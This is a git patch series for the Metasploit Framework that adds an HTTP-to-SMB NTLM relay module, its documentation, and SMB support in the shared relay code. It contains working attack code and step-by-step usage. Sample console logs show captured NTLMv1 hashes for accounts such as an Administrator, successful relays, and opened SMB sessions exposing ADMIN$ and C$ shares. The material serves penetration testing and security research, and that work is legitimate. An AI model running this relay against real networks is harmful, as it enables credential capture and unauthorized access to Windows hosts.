From adfadb444bfc569c7eb8d78c710d30a5b5347e43 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Mon, 29 Jun 2026 11:21:14 -0700 Subject: [PATCH 1/2] HTTP to SMB Relay Server Added scenarios section --- .../auxiliary/server/relay/http_to_smb.md | 129 ++++++++++++++++++ .../http_server/relay/ntlm/server_client.rb | 6 +- modules/auxiliary/server/relay/http_to_smb.rb | 111 +++++++++++++++ 3 files changed, 244 insertions(+), 2 deletions(-) create mode 100644 documentation/modules/auxiliary/server/relay/http_to_smb.md create mode 100644 modules/auxiliary/server/relay/http_to_smb.rb diff --git a/documentation/modules/auxiliary/server/relay/http_to_smb.md b/documentation/modules/auxiliary/server/relay/http_to_smb.md new file mode 100644 index 0000000000000..1c7b6b2a32c09 --- /dev/null +++ b/documentation/modules/auxiliary/server/relay/http_to_smb.md @@ -0,0 +1,129 @@ +## Vulnerable Application + +### Description + +This module sets up an HTTP server that attempts to execute an NTLM relay attack against an SMB server on the +configured `RHOSTS`. If the relay attack is successful, an SMB session is created on the target. This session can be +used by other modules that support SMB sessions. + +This module supports relaying one HTTP authentication attempt to multiple SMB servers. After attempting to relay to +one target, the relay server sends a 307 to the client and if the client is configured to respond to redirects, the +client resends the NTLMSSP_NEGOTIATE request to the relay server. Multi relay will not work if the client does not +respond to redirects. + +The module supports relaying NTLM authentication which has been wrapped in GSS-SPNEGO. HTTP authentication info is sent +in the WWW-Authenticate header. In the auth header base64 encoded NTLM messages are denoted with the NTLM prefix, while +GSS wrapped NTLM messages are denoted with the Negotiate prefix. Note that in some cases non-GSS wrapped NTLM auth can +be prefixed with Negotiate. + +The module also supports capturing NTLMv1 and NTLMv2 hashes. + +### Setup + +For this relay attack to be successful, the target SMB server must not require SMB signing. If SMB signing is required, +the relayed authentication will fail. + +You can verify the target's signing configuration by using the `auxiliary/scanner/smb/smb2` module or by checking the +following registry key on the target: +```cmd +reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters -v RequireSecuritySignature +``` + +A value of `0` means signing is not required and the relay can succeed. + +## Verification Steps + +1. Start msfconsole +2. Do: `use auxiliary/server/relay/http_to_smb` +3. Set the `RHOSTS` options +4. Run the module +5. Send an authentication attempt to the relay server + 6. `Invoke-WebRequest -Uri http://192.0.2.1/test -UseDefaultCredentials` +7. Check the output for successful relays and captured hashes + +## Scenarios +### Relaying to a single SMB server +``` +msf auxiliary(server/relay/http_to_smb) > +[*] Using URL: http://172.16.199.1/awauMU5svmJhX +[*] Server started. +[*] Received GET request for /test from 10.5.134.194:56167 +[*] Processing request in state unauthenticated from 10.5.134.194 +[*] Received GET request for /test from 10.5.134.194:56168 +[*] Processing request in state unauthenticated from 10.5.134.194 +[*] Received Type 1 message from 10.5.134.194, attempting to relay... +[*] Attempting to relay to 10.5.134.192:445 +[*] Received type2 from target smb://10.5.134.192:445, attempting to relay back to client +[*] Received GET request for /test from 10.5.134.194:56168 +[*] Processing request in state awaiting_type3 from 10.5.134.194 +[*] Received Type 3 message from 10.5.134.194, attempting to relay... +[HTTP] NTLMv1-SSP Client : 10.5.134.192 +[HTTP] NTLMv1-SSP Username : WHISTLER\Administrator +[HTTP] NTLMv1-SSP Hash : Administrator::WHISTLER:ddfa5f067ea4a6d500000000000000000000000000000000:e2b905236443a461a0d18c8d0b636541e0590c2f7a8b2e70:927e83c8861e1ed4 + +[+] Identity: WHISTLER\Administrator - Successfully relayed NTLM authentication to SMB! +[+] Relay succeeded +[*] SMB session 9 opened (192.168.3.8:52959 -> 10.5.134.192:445) at 2026-06-29 12:44:07 -0700 +[*] Target list exhausted for 10.5.134.194. Closing connection. + +msf auxiliary(server/relay/http_to_smb) > sessions -i -1 +[*] Starting interaction with 9... + +SMB (10.5.134.192) > shares +Shares +====== + + # Name Type comment + - ---- ---- ------- + 0 ADMIN$ DISK|SPECIAL Remote Admin + 1 C$ DISK|SPECIAL Default share + 2 IPC$ IPC|SPECIAL Remote IPC + 3 NETLOGON DISK Logon server share + 4 SYSVOL DISK Logon server share + +SMB (10.5.134.192) > +``` + +## Relaying to multiple SMB servers +``` +msf auxiliary(server/relay/http_to_smb) > +[*] Using URL: http://172.16.199.1/Tqfl3zljyu +[*] Server started. +[*] Received GET request for / from 172.16.199.130:50068 +[*] Processing request in state unauthenticated from 172.16.199.130 +[*] Received GET request for / from 172.16.199.130:50069 +[*] Processing request in state unauthenticated from 172.16.199.130 +[*] Received Type 1 message from 172.16.199.130, attempting to relay... +[*] Attempting to relay to 172.16.199.201:445 +[*] Received type2 from target smb://172.16.199.201:445, attempting to relay back to client +[*] Received GET request for / from 172.16.199.130:50069 +[*] Processing request in state awaiting_type3 from 172.16.199.130 +[*] Received Type 3 message from 172.16.199.130, attempting to relay... +[HTTP] NTLMv1-SSP Client : 172.16.199.201 +[HTTP] NTLMv1-SSP Username : KERBEROS\sandy +[HTTP] NTLMv1-SSP Hash : sandy::KERBEROS:0c38c494a6e41dd000000000000000000000000000000000:9d43cb96cc90dfc171c1a34bff7e6c9a2b5d0d9b1d8b537a:e551856a84be7c2b + +[+] Identity: KERBEROS\sandy - Successfully relayed NTLM authentication to LDAP! +[+] Relay succeeded +[*] SMB session 3 opened (172.16.199.1:51218 -> 172.16.199.201:445) at 2026-06-29 11:06:38 -0700 +[*] Moving to next target (172.16.199.200). Issuing 307 Redirect to /RRfvosEa4d +[*] Received GET request for /RRfvosEa4d from 172.16.199.130:50068 +[*] Processing request in state unauthenticated from 172.16.199.130 +[*] Received GET request for /RRfvosEa4d from 172.16.199.130:50070 +[*] Processing request in state unauthenticated from 172.16.199.130 +[*] Received Type 1 message from 172.16.199.130, attempting to relay... +[*] Attempting to relay to 172.16.199.200:445 +[*] Received type2 from target smb://172.16.199.200:445, attempting to relay back to client +[*] Received GET request for /RRfvosEa4d from 172.16.199.130:50070 +[*] Processing request in state awaiting_type3 from 172.16.199.130 +[*] Received Type 3 message from 172.16.199.130, attempting to relay... +[HTTP] NTLMv1-SSP Client : 172.16.199.200 +[HTTP] NTLMv1-SSP Username : KERBEROS\sandy +[HTTP] NTLMv1-SSP Hash : sandy::KERBEROS:2f8b113a0ca1366500000000000000000000000000000000:c6a2445de2e17cd581891231a3e780e434c59cf19ae566eb:52bbfcc4c36880e1 + +[+] Identity: KERBEROS\sandy - Successfully relayed NTLM authentication to LDAP! +[+] Relay succeeded +[*] SMB session 4 opened (172.16.199.1:51231 -> 172.16.199.200:445) at 2026-06-29 11:06:39 -0700 +[*] Target list exhausted for 172.16.199.130. Closing connection. + +``` \ No newline at end of file diff --git a/lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb b/lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb index b821dd3eb8e0d..6081d7882455a 100644 --- a/lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb +++ b/lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb @@ -76,6 +76,8 @@ def create_relay_client(target, timeout) case target.protocol when :ldap client = Msf::Exploit::Remote::Relay::NTLM::Target::LDAP::Client.create(self, target, logger, timeout) + when :smb + client = Msf::Exploit::Remote::Relay::NTLM::Target::SMB::Client.create(self, target, logger, timeout) else raise RuntimeError, "unsupported protocol: #{target.protocol}" end @@ -223,13 +225,13 @@ def handle_type3(parsed_type3) logger.print_status("Anonymous Identity - Successfully authenticated against relay target #{@relayed_connection.target.ip}") @relayed_connection.disconnect! if @relayed_connection else - logger.print_good("Identity: #{identity} - Successfully relayed NTLM authentication to LDAP!") + logger.print_good("Identity: #{identity} - Successfully relayed NTLM authentication to #{@current_target.protocol.upcase}!") logger.on_relay_success(relay_connection: @relayed_connection, relay_identity: identity) end @relayed_connection = nil else - logger.print_error("Relayed authentication failed or was rejected by LDAP.") + logger.print_error("Relayed authentication failed or was rejected by #{@current_target.protocol.upcase}.") @relayed_connection.disconnect! if @relayed_connection @relayed_connection = nil end diff --git a/modules/auxiliary/server/relay/http_to_smb.rb b/modules/auxiliary/server/relay/http_to_smb.rb new file mode 100644 index 0000000000000..d9da9e0c3c210 --- /dev/null +++ b/modules/auxiliary/server/relay/http_to_smb.rb @@ -0,0 +1,111 @@ +# frozen_string_literal: true + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpServer::Relay + include Msf::Auxiliary::CommandShell + + attr_accessor :service + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Microsoft Windows HTTP to SMB Relay', + 'Description' => %q{ + This module supports running an HTTP server which validates credentials, and + then attempts to execute a relay attack against an SMB server on the + configured RHOSTS hosts. + + If the relay succeeds, an SMB session to the target will be created. This can + be used by any modules that support SMB sessions. + + Supports HTTP and captures NTLMv1 as well as NTLMv2 hashes. + }, + 'Author' => [ + 'jheysel-r7' # module + ], + 'License' => MSF_LICENSE, + 'DefaultTarget' => 0, + 'Actions' => [ + [ 'CREATE_SMB_SESSION', { 'Description' => 'Create an SMB session' } ] + ], + 'PassiveActions' => [ 'CREATE_SMB_SESSION' ], + 'DefaultAction' => 'CREATE_SMB_SESSION', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS ] + } + ) + ) + + register_options( + [ + Opt::RPORT(445) + ] + ) + + register_advanced_options( + [ + OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]) + ] + ) + end + + def srvport + datastore['SRVPORT'] + end + + def relay_targets + Msf::Exploit::Remote::Relay::TargetList.new( + :smb, + datastore['RPORT'], + datastore['RHOSTS'], + randomize_targets: datastore['RANDOMIZE_TARGETS'] + ) + end + + def check_options + unless framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE) + fail_with(Failure::BadConfig, 'This module requires the `smb_session_type` feature to be enabled. Please enable this feature using `features set smb_session_type true`') + end + end + + def run + check_options + + start_service + print_status('Server started.') + @http_relay_service.wait if @http_relay_service + end + + def on_relay_success(relay_connection:, relay_identity:) + print_good('Relay succeeded') + session_setup(relay_connection, relay_identity) + rescue StandardError => e + elog('Failed to setup the session', error: e) + end + + def session_setup(relay_connection, relay_identity) + rstream = relay_connection.dispatcher.tcp_socket + sess = Msf::Sessions::SMB.new( + rstream, + { + client: relay_connection + } + ) + domain, _, username = relay_identity.partition('\\') + datastore_options = { + 'RHOST' => relay_connection.target.ip, + 'RPORT' => relay_connection.target.port, + 'DOMAIN' => domain, + 'USERNAME' => username + } + start_session(self, nil, datastore_options, false, sess.rstream, sess) + end +end From 2bb55b66d52250faf75d39cacca3d4e431f8d652 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Mon, 29 Jun 2026 13:55:36 -0700 Subject: [PATCH 2/2] Responded to copilot comments --- documentation/modules/auxiliary/server/relay/http_to_smb.md | 4 ++-- .../exploit/remote/http_server/relay/ntlm/server_client.rb | 4 ++-- modules/auxiliary/server/relay/http_to_smb.rb | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/documentation/modules/auxiliary/server/relay/http_to_smb.md b/documentation/modules/auxiliary/server/relay/http_to_smb.md index 1c7b6b2a32c09..afc8bc00d9239 100644 --- a/documentation/modules/auxiliary/server/relay/http_to_smb.md +++ b/documentation/modules/auxiliary/server/relay/http_to_smb.md @@ -103,7 +103,7 @@ msf auxiliary(server/relay/http_to_smb) > [HTTP] NTLMv1-SSP Username : KERBEROS\sandy [HTTP] NTLMv1-SSP Hash : sandy::KERBEROS:0c38c494a6e41dd000000000000000000000000000000000:9d43cb96cc90dfc171c1a34bff7e6c9a2b5d0d9b1d8b537a:e551856a84be7c2b -[+] Identity: KERBEROS\sandy - Successfully relayed NTLM authentication to LDAP! +[+] Identity: KERBEROS\sandy - Successfully relayed NTLM authentication to SMB! [+] Relay succeeded [*] SMB session 3 opened (172.16.199.1:51218 -> 172.16.199.201:445) at 2026-06-29 11:06:38 -0700 [*] Moving to next target (172.16.199.200). Issuing 307 Redirect to /RRfvosEa4d @@ -121,7 +121,7 @@ msf auxiliary(server/relay/http_to_smb) > [HTTP] NTLMv1-SSP Username : KERBEROS\sandy [HTTP] NTLMv1-SSP Hash : sandy::KERBEROS:2f8b113a0ca1366500000000000000000000000000000000:c6a2445de2e17cd581891231a3e780e434c59cf19ae566eb:52bbfcc4c36880e1 -[+] Identity: KERBEROS\sandy - Successfully relayed NTLM authentication to LDAP! +[+] Identity: KERBEROS\sandy - Successfully relayed NTLM authentication to SMB! [+] Relay succeeded [*] SMB session 4 opened (172.16.199.1:51231 -> 172.16.199.200:445) at 2026-06-29 11:06:39 -0700 [*] Target list exhausted for 172.16.199.130. Closing connection. diff --git a/lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb b/lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb index 6081d7882455a..049adc6e7f19a 100644 --- a/lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb +++ b/lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb @@ -225,13 +225,13 @@ def handle_type3(parsed_type3) logger.print_status("Anonymous Identity - Successfully authenticated against relay target #{@relayed_connection.target.ip}") @relayed_connection.disconnect! if @relayed_connection else - logger.print_good("Identity: #{identity} - Successfully relayed NTLM authentication to #{@current_target.protocol.upcase}!") + logger.print_good("Identity: #{identity} - Successfully relayed NTLM authentication to #{@current_target.protocol.to_s.upcase}!") logger.on_relay_success(relay_connection: @relayed_connection, relay_identity: identity) end @relayed_connection = nil else - logger.print_error("Relayed authentication failed or was rejected by #{@current_target.protocol.upcase}.") + logger.print_error("Relayed authentication failed or was rejected by #{@current_target.protocol.to_s.upcase}.") @relayed_connection.disconnect! if @relayed_connection @relayed_connection = nil end diff --git a/modules/auxiliary/server/relay/http_to_smb.rb b/modules/auxiliary/server/relay/http_to_smb.rb index d9da9e0c3c210..028ad9ec5a2a1 100644 --- a/modules/auxiliary/server/relay/http_to_smb.rb +++ b/modules/auxiliary/server/relay/http_to_smb.rb @@ -24,7 +24,7 @@ def initialize(info = {}) If the relay succeeds, an SMB session to the target will be created. This can be used by any modules that support SMB sessions. - Supports HTTP and captures NTLMv1 as well as NTLMv2 hashes. + Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes. }, 'Author' => [ 'jheysel-r7' # module